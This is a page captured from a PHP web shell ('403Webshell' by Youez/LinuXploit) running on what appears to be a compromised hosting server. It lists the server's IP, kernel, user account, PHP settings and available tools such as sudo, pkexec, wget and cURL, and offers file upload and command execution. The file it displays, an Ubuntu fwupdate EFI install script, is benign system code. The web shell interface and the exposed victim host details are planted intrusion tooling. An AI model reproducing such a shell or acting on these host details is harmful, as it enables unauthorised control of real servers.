403Webshell
Server IP : 85.143.209.190  /  Your IP : 216.73.217.12
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux 49083.simplecloud.ru 5.4.0-205-generic #225-Ubuntu SMP Fri Jan 10 22:23:35 UTC 2025 x86_64
User : vozdvizhenka37 ( 1083)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/core/current/usr/lib/fwupdate/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/core/current/usr/lib/fwupdate/install
#!/bin/sh

DISTRIBUTOR=ubuntu

efi_vars_dir=/sys/firmware/efi/vars
EFI_GLOBAL_VARIABLE=8be4df61-93ca-11d2-aa0d-00e098032b8c
SB="$efi_vars_dir/SecureBoot-$EFI_GLOBAL_VARIABLE/data"

#if we have SB enabled, don't bother to install the unsigned file
if [ -e "$SB" ] && \
   [ "$(( $(printf 0x%x \'"$(cat $SB | cut -b1)") & 1 ))" = 1 ]; then
   SECURE_BOOT="1"
fi

if [ ! -d "$efi_vars_dir" ]; then
  echo "System not running in EFI mode, not installing to EFI system partition."
  exit 0
fi

for BINARY in $(find /usr/lib/fwupdate -name '*.efi' -printf "%f\n"); do
  ESP="/boot/efi/EFI/$DISTRIBUTOR"
  ESP_FILE="$ESP/$BINARY"
  SIGNED_FILE="/usr/lib/fwupdate/$BINARY.signed"
  UNSIGNED_FILE="/usr/lib/fwupdate/$BINARY"

  if [ -f "$ESP_FILE" ]; then
    ESP_MD5=$(md5sum $ESP_FILE | sed 's, .*,,')
  fi

  if [ -f "$SIGNED_FILE" ]; then
    COMPARE=$SIGNED_FILE
  elif [ -z "$SECURE_BOOT" ]; then
    COMPARE=$UNSIGNED_FILE
  fi

  mkdir -p $ESP/fw

  if [ -n "$COMPARE" ]; then
  	COMPARE_MD5=$(md5sum $COMPARE | sed 's, .*,,')
  	if [ "$COMPARE_MD5" != "$ESP_MD5" ]; then
          rm -f $ESP_FILE
          echo "Installing $BINARY to EFI system partition."
          cp $COMPARE $ESP_FILE
  	fi
  else
    echo "Signed binary for $BINARY is not available, not installing binary to EFI system partition."
  fi
done

Youez - 2016 - github.com/yon3zu
LinuXploit